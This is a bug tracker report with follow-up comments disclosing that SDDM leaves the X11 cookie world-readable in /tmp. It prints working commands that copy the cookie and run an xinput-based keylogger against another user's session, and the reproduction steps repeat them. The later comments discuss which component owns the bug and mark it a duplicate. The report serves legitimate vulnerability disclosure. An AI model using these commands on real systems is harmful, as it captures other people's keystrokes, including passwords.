After logging in as any user, you are able to get the X11 cookie and start a key logger. This has been tested on a F23 system with KDE / SDDM (with current patches) and a Arch Linux system with KDE / SDDM (plasma-desktop 5.6.4-1). You are able to easily get the X11 cookie. $ sha256sum .Xauthority fcda4502b96b622e4b7a76bf0025731b596d8056b4471676e04241b6832798b8 .Xauthority $ sha256sum /tmp/xauth-1000-_0 fcda4502b96b622e4b7a76bf0025731b596d8056b4471676e04241b6832798b8 /tmp/xauth-1000-_0 The cookie is world-readable, even if you change the permissions to the cookie, after a reboot the changes are gone. $ ls -l /tmp/xauth-1000-_0 -rw-r--r--. 1 sm sm 60 24. Feb 14:04 /tmp/xauth-1000-_0 I have another user that I log via the text console, after that you just need to start the typical X11 keylogger. $ cp /tmp/xauth-1000-_0 .Xauthority $ export DISPLAY=:0 $ xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 xinput test Reproducible: Always Steps to Reproduce: 1. Login via the text console on any user. 2. Copy the X11 cookie over to .Xauthority file for the user you just logged into. $ cp /tmp/xauth-1000-_0 .Xauthority 3. Start the typical X11 keylogger. $ xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 xinput test Actual Results: After running the commands listed in "Steps to Reproduce" section, all the keyboard pushes are printed to the text console. Expected Results: The X11 cookie should not be world-readable.
www.kde.org might be the wrong Product, no? Not sure where it would belong to, though. Maybe frameworks-kinit?
I'm not sure, I thought it belonged here. If not I can always move it.
I'd say this is a bug in sddm. Abusing the CC here to add Pier Luigi and Martin for confirmation.
Moving to a generic component to get this off the kde-www mailing list.
Bug 329616 indicates that the xauth file might not be created by the display manager.
*** This bug has been marked as a duplicate of bug 358593 ***
That bug is only for the tmp file for not for .Xauthority ?
sddm creates ~/.Xauthority with xauth, but you are talking of another file here. this indeed might be a duplicate of 358593 as it sounds a lot like the file referenced there.
Right i read the code of sddm too quickly and thought it was using a QFile to create the .XAuthority file. *** This bug has been marked as a duplicate of bug 358593 ***
sddm should set the XAUTHORITY env var, you might consider changing kdeinit to use that instead